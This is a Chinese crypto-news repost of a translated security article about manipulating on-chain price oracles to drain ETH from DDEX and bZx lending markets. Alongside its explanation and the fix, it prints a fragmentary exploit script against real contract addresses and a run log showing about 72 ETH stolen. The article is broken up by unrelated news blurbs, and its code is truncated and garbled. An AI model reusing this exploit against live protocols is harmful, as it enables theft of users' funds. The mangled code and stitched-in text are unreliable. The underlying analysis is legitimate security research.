区块见闻 区块见闻
Ctrl+D收藏区块见闻
首页 > OKB > 正文

NBA:通过操控抵押品价格预言机牟利_coinbase是正规平台吗

作者:

时间:

译文出自:登链翻译计划

译者:翻译小组

校对:Tiny熊

太长不看版

因依赖链上去中心化的价格预言而不验证返回的价格,DDEX和bZx容易受到价格操纵攻击。这导致DDEX的ETH/DAI市场损失ETH流动性,以及bZx中所有损失流动性资金,在本文中,将介绍价格操纵攻击的原理、如何实施的攻击、以及如何应对。

什么是去中心化贷款?

首先,让我们谈谈传统贷款。贷款时,通常需要提供某种抵押品,这样,如果你拖欠贷款,贷方便可以扣留抵押品。为了确定你需要提供多少抵押品,贷方通常会知道或能够可靠地计算出抵押品的公平市场价值(FMV)。

在去中心化贷款中,除了贷方现在是与外界隔离的智能合约之外,其他过程相同。这意味着它不能简单地“知道”你提供的任何抵押品的FMV。

为了解决此问题,开发人员指示智能合约查询价格预言机,该预言机接受代币地址并返回对应计价货币(例如ETH或USD)的当前价格。不同的DeFi项目采用了不同的方法来实现此预言机,但通常可以将它们全部归类为以下五种方式之一(尽管某些实现比其他实现更模糊):

链下中心化预言机这种类型的预言机只接受来自链下价格来源的新价格,通常来自项目控制的帐户。由于需要使用新汇率快速通知更新预言机,因此该帐户通常是EOA,而不是多签钱包。可能需要进行一些合理的检查,以确保价格波动不会太大。Compound和Synthetix的大多数资产使用这种类型的预言机。

Wonderland社区投票通过向Sifu创建的SIFU Vision代币投资2500万美元的提案:7月3日消息,DeFi协议Wonderland社区投票通过了向Wonderland前首席财务官Sifu创建的SIFU Vision代币SIFU投资2500万美元的提案。购买的这些代币将被放入以太坊上的Sablier流中,在12个月内线性释放。目前,SIFU总市值为4250万美元。[2022/7/3 1:47:32]

链下去中心化预言机这种预言机从多个链下来源接受新价格,并通过数学函数(例如平均值)合并这些值。在此模型中,通常使用多签名钱包来管理授权价格源列表。Maker针对ETH和其他资产使用这种类型的预言机。

链上中心化预言机这种类型的预言机使用链上价格来源(例如DEX)确定资产价格。但是,只有授权账号才能触发预言机从链上源读取。像链下中心化预言机一样,这种类型的预言机需要快速更新,因此授权触发帐户可能是EOA而不是多签钱包。dYdX和Nuo针对一些资产使用这种类型的预言机。

链上去中心化预言机这种预言机使用链上价格来源确定资产价格,但是任何人都可以更新。可能需要进行一些合理检查,以确保价格波动不会太大。DDEX将这种类型的预言机用于DAI,而bZx对所有资产使用这种类型的预言机。

常量预言机这种类型的预言机简单地返回一个常数,通常用于稳定币。由于USDC钉住美元,因此上述几乎所有项目都将这种类型的预言机用于USDC。

基于Cardano的NFT平台Cadalabs通过代币销售完成100万美元融资:10月22日消息,基于Cardano的NFT平台Cadalabs通过代币销售完成100万美元融资。CADALABS协议是在Cadalabs网络上构建NFT铸造Dapp的社区驱动的NFT平台,数字艺术品收藏家能够将他们的作品铸造为NFT,并将它们与卖家连接起来,进行无缝交易。CALAABS团队开发了名为CALA的实用代币,使社区能够参与治理问题。此外,通过持有CALA代币,用户可以管理创作者、对提案进行投票、质押他们的代币以赚取和策划特色艺术品。CALA代币已经在Cardano上铸造,总代币供应量为1亿个CALA代币。(Coinquora)[2021/10/22 20:48:07]

问题

在寻找其他易受攻击的项目时,我看到了这条推文:

老实说,我担心他们会将其用作价格喂价源。如果我的预感是正确的,那很容易受到攻击。

—Vitalik非以太赠予者(uint256eth2daiPrice=getEth2DaiPrice();if(eth2daiPrice>0){_price=makerDaoPrice

uint256uniswapPrice=getUniswapPrice();if(uniswapPrice>0){_price=makerDaoPrice

return_price;}functiongetEth2DaiPrice()publicviewreturns(uint256){if(Eth2Dai

XRP Ledger或将在未获Ripple支持的情况下通过一项新修正案:金色财经报道,XRP Ledger验证者正在没有获得Ripple支持的情况下投票通过一项新修正案。修正案现已获得了超过80%的支持票,如果在该阈值能保持两周,修正案将在XRP Ledger上激活。在7张反对票中,Ripple拥有6张。据悉,通过此次升级,发送人可以签署交易并针对特定金额和目的地创建虚拟支票,除非接收者决定“兑现”,否则XRP不会移动。如果支票失败,它们将被保留在分类帐中,以便以后兑现。如果没有人取消赞成票,XRPL将于6月17日正式采用此项更改。[2020/6/6]

uint256bidDai=Eth2Dai

else{returnbidPrice

}functiongetUniswapPrice()publicviewreturns(uint256){uint256ethAmount=UNISWAP

else{returnuniswapPrice;}}functiongetMakerDaoPrice()publicviewreturns(uint256){(bytes32value,boolhas)=makerDaoOracle

else{return0;}}

参考源码

为了触发更新并使预言机刷新其存储的值,用户只需调用updatePrice()即可。

日本区块链协会将例会转至线上 通过Zoom召开:日本区块链协会(JBA)官方宣布,因新型冠状病影响,该协会4月28日的例行会议将转至线上,通过Zoom召开。[2020/4/24]

functionupdatePrice()publicreturns(bool){uint256_price=peek();if(_price!=0){price=_price;emitUpdatePrice(price);returntrue;}else{returnfalse;}}

参考源码

攻击原理

假设我们可以操纵DAI/USD的价格表现。如果是这种情况,我们希望使用它借用系统中的所有ETH,同时提供尽可能少的DAI。为此,我们可以降低ETH/USD的表现价格或增加DAI/USD的表现价格。由于我们已经假设DAI/USD的表现价值是可操纵的,因此我们选择后者。

为了增加DAI/USD的表现价格,我们可以增加ETH/USD的表现价格,或者降低ETH/DAI的表现价格。基于当前意图和目的,操纵Maker的预言是不可能的,因此我们将尝试降低ETH/DAI的表现价值。

编者注,因为DAI/USD价格=ETH/USD价格÷ETH/DAI价格

预言机通过Eth2Dai取当前要价和当前出价的平均值来计算ETH/DAI的值。为了降低此值,我们需要通过填充现有订单来降低当前出价,然后通过下新订单来降低当前要价。

动态 | 英国极右翼团体通过加密货币接受捐赠支持:据eandt消息,英国皇家联合服务研究所(RUSI)最近一项报告表明,该国极右翼组织正在回避主流支付手段,使用加密货币以相对匿名的方式接收资金,报告呼吁英国政府应对这些威胁。英国新纳粹恐怖组织的Yaxley-Lennon’s是从这些国际支持网络中获利的极右翼英国演员之一,在去年因藐视法庭而被短暂监禁期间,他获得了近2万英镑的比特币捐款。[2019/5/31]

但是,这需要大量的初始投资(因为我们需要先填写订单,然后再生成相等数量的订单),并且实施起来并不容易。另一方面,我们可以通过在Uniswap大量交易DAI来影响Uniswap中的价格。因此,我们的目标是绕过Eth2Dai逻辑并操纵Uniswap价格。

为了绕过Eth2Dai,我们需要控制价格的波动幅度。我们可以通过以下两种方式之一进行操作:

清除订单的一侧,而保留另一侧。这导致价差正增长

通过列出极端的买入或卖出订单来强制执行交叉的订单。这会导致利差下降。

尽管选项2不会因不利订单而造成任何损失,但SafeMath不允许使用交叉订单,因此我们无法使用。相反,我们会通过清除订单的一侧来强制产生较大的正价差。这将导致DAI预言机回退到Uniswap来确定DAI的价格。然后,我们可以通过购买大量DAI来降低DAI/ETH的Uniswap价格。一旦操纵了DAI/USD的表现价值,便像往常一样借贷很简单。

攻击演示

以下脚本将通过以下方式获利约70ETH:

清除Eth2Dai的卖单,直到价差足够大,以致预言机拒绝价格

从Uniswap购买更多DAI,价格从213DAI/ETH降至13DAI/ETH

用少量DAI(?2500)借出所有可用ETH(?120)

将我们从Uniswap购买的DAI卖回Uniswap

将我们从Eth2Dai购买的DAI卖回Eth2Dai

重置预言机(不想让其他人滥用我们的优惠价格)

contractDDEXExploitisScript,Constants,TokenHelper{OracleLikeprivateconstantETH_ORACLE=OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);DaiOracleLikeprivateconstantDAI_ORACLE=DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);ERC20LikeprivateconstantHYDRO_ETH=ERC20Like(0x000000000000000000000000000000000000000E);HydroLikeprivateconstantHYDRO=HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);uint16privateconstantETHDAI_MARKET_ID=1;uintprivateconstantINITIAL_BALANCE=25000ether;functionsetup()public{name("ddex-exploit");blockNumber(8572000);}functionrun()public{begin("exploit")

functioncheckRates()external{uintethPrice=ETH_ORACLE

uintprivateboughtFromMatchingMarket=0;functionskewRates()external{skewUniswapPrice();skewMatchingMarket();require(DAI_ORACLE

functionskewUniswapPrice()internal{DAI

functionskewMatchingMarket()internal{uintstart=DAI

boughtFromMatchingMarket=DAI

functionsteal()external{HydroLike

functioncleanup()external{DAI

functioncheckProfits()external{printf("profits=%

}/*###runningscript"ddex-exploit"atblock8572000####executingstep:exploit#####calling:checkRates()eth=213.440000000000000000dai=1.003140638067989051#####calling:skewRates()#####calling:checkRates()eth=213.440000000000000000dai=16.058419875880325580#####calling:steal()ethWanted=122.103009983203364425daiNeeded=2435.392672403537525078#####calling:cleanup()#####calling:checkProfits()profits=72.140629996890984407####finishedexecutingstep:exploit*/

解决方案

DDEX团队通过部署新的预言机解决了此问题这对DAI的价格设置了合约价格界限,目前将其设置为0.95和1.05。

本文来源于非小号媒体平台:

登链社区

现已在非小号资讯平台发布105篇作品,

非小号开放平台欢迎币圈作者入驻

入驻指南:

/apply_guide/

本文网址:

/news/9559363.html

免责声明:

1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险

2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场

上一篇:

币安为何推出第三条链?这对BNB意味着什么?

标签:BASBASECOINBAcoinbase交易所app下载coinbase中国下载ApeCoincoinbase是正规平台吗

OKB热门资讯
ENT:AAX12月22日交易内参:比特币日线成交量缩价跌,后市看跌_Hypersign Identity Token

宏观趋势分析: 瑞波公司(Ripple)表示,将针对美国证券交易委员会(SEC)提起的诉讼进行辩护。SEC指控该公司在出售XRP时违反了投资者保护法.

区块链:全球数字货币的发展现状和趋势:货币政策、金融监管、应用领域、底层技术_数字货币被过程老人

文|巴曙松张岱晁朱元倩 数字货币作为金融科技的重要创新产物之一,对整个金融业及其监管领域都带来了较为深远的影响.

BAS:Coinbase提交IPO申请,加密货币上市潮或开启_coinbase

美国最大的加密货币交易所CoinbaseGlobalInc.表示已向美国证券交易委员会申请首次公开募股。该公司在周四下午的博客中披露了这一消息.

JEFF:全球投资公司Jefferies出售部分黄金购买比特币_WOO

据12月21日报道,全球投资公司Jefferies的一位高管表示,这家管理数百亿美元的投资公司正在减少投资组合中的部分黄金,转而投资比特币.

FIN:DigiFinex关于合约系统升级提前完成的公告_DIGI

亲爱的用户: 为了提供更好的合约交易体验,DigiFinex已于2020年12月22日08:30-11:00(GMT8)提前完成合约系统停服升级优化.

DEF:以太坊2020年的六大成就和五个失望瞬间(下篇)_FIN

暴走时评:2020年对于以太坊来说,可谓是波澜起伏的一年。DeFi的意外大热给以太坊网络带来无限风光的同时也造成了令人望而却步的网络拥堵和居高不下的GAS费用.